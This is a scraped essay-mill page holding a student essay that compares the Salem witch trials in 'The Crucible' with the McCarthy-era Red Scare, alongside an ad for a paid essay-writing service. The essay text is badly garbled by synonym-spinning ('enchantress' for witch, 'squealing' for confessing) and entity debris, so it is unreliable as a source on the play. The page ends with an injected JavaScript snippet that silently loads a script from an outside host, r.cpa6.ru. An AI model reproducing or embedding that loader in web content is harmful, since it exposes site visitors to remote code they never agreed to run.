The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible focal points on the fearful relationship between society and the person ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a enchantress in the 17th century or being a Communist in the 1950 # 8217 ; s. Miller provinces: The Crucible is involved basically with the societal dealingss of human existences, and accordingly, the prevailing accent in composing the drama was on the struggle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Although, both state of affairss coincide with Inquisition and mass craze, they conflict at the fact that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among 17th century Salem townsfolk failed to be an actuality. In both clip periods question was present. As in 1692, the Inquisition of enchantresss and aces had its contentions, so did the subjugation on Communist party members in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Encyclopedia, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will write a custom essay sample on The Crucible Society Versus The Individual or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Twenty people were hanged for non squealing to such unorthodoxies. Similarly, big Numberss of Americans lost their occupations and stuffs or were imprisoned if failed to be a true American. What is shown in both epochs was the being of what we can name uncorroborated grounds and agony of being accused. Questions and hearings such as these stirred up intuition and fright, doing mass craze. Both epochs suffered from this. Those accused of witchery and wizardry saved themselves by squealing and so by impeaching others. To be arraigned, all you need is some undistinguished sum of cogent evidence by a townsperson or accused enchantress, many of which accusals were merely retaliation of past incidents, or to pacify the tribunal. Similarly, this happened during the McCarthy Era. Knowing the incorrect individual affected your standing possibilities of whether you would be arraigned or non. Therefore, everyone feared / gt ; each other, if you were or were non a suspect. Indicating fingers was the lone manner to demo your earnestness to the protection of the state. Mass craze was a consequence of these hearings because of the intuition and fear it stirred. The Red Scare and the Salem enchantress tests were decidedly alike in some ways, still, the parallel fails at one of import point: Communism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clip of the Salem enchantress tests, the psychological provinces ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the victims were different than those during the Red Scare. Miller provinces: # 8230 ; the person is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is mentioning to the McCarthy Era. Those blacklisted were connected with the Communist Party, and they were guilty of that. Yet, others had no connexion at all. So, Communism was existent and society looked down on the bing Communists. But, Miller besides states: # 8230 ; society is seen through the person ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he refers to the psychological province of the victims of the Salem enchantress tests. All the accused were non enchantresss, but were forced to believe that they were the # 8220 ; bad # 8221 ; of society. Although, this is non so among the McCarthy Era, because they knew whether or non they were Capitalist or Communist. An illustration of forced belief comes from Tituba # 8217 ; s confession. To counterbalance, you had to squeal. In other words, the victim in Salem believed he was # 8220 ; bad # 8221 ; and saw society as # 8220 ; good. # 8221 ; Communism existed in the McCarthy Era, but witchcraft merely existed among the Salem townsfolk because they were forced to believe that it existed among themselves. Arthur Miller was able to reflect the same quandary that existed on both clip periods. However, they differ in the existent being of the # 8220 ; bad # 8221 ; persons. Many guiltless lives and worklives were claimed as a consequence of these tests, yet, Arthur Miller was able to expound this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;